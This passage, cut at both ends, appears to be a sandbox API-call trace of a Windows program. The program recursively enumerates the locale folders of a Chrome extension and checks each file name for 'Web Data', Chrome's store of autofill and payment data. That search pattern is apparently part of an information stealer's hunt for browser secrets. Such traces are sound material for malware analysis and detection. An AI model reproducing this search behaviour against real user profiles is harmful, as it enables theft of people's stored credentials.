IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*" [0054.392] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.392] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.392] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.392] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.393] LocalFree (hMem=0x74cf00) returned 0x0 [0054.393] LocalFree (hMem=0x74d010) returned 0x0 [0054.393] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.393] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.393] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0054.393] LocalFree (hMem=0x74cf00) returned 0x0 [0054.393] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0054.393] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*" [0054.393] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.393] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.393] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.393] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.393] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.393] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.395] LocalFree (hMem=0x74cf00) returned 0x0 [0054.395] LocalFree (hMem=0x74d010) returned 0x0 [0054.395] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.395] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.395] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.396] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0054.396] LocalFree (hMem=0x74cf00) returned 0x0 [0054.396] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0054.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*" [0054.396] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.396] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.396] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.396] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.396] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.396] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.396] LocalFree (hMem=0x74cf00) returned 0x0 [0054.396] LocalFree (hMem=0x74d010) returned 0x0 [0054.396] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.396] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.396] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0054.396] LocalFree (hMem=0x74cf00) returned 0x0 [0054.396] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0054.396] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*" [0054.396] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.397] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.397] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.397] LocalFree (hMem=0x74cf00) returned 0x0 [0054.397] LocalFree (hMem=0x74d010) returned 0x0 [0054.397] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.397] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.397] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0054.397] LocalFree (hMem=0x74cf00) returned 0x0 [0054.397] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0054.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*" [0054.397] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.397] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.397] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.397] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.397] LocalFree (hMem=0x75e920) returned 0x0 [0054.397] LocalFree (hMem=0x74d010) returned 0x0 [0054.397] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.397] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.397] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.397] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0054.397] LocalFree (hMem=0x74cf00) returned 0x0 [0054.398] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0054.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*" [0054.398] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.398] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.398] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.398] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.398] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.398] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.398] LocalFree (hMem=0x75e920) returned 0x0 [0054.398] LocalFree (hMem=0x74d010) returned 0x0 [0054.398] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0 [0054.398] FindClose (in: hFindFile=0x72dbd0 | out: hFindFile=0x72dbd0) returned 1 [0054.398] LocalFree (hMem=0x74cdf0) returned 0x0 [0054.398] LocalFree (hMem=0x75c7a8) returned 0x0 [0054.398] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.398] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.398] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.398] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 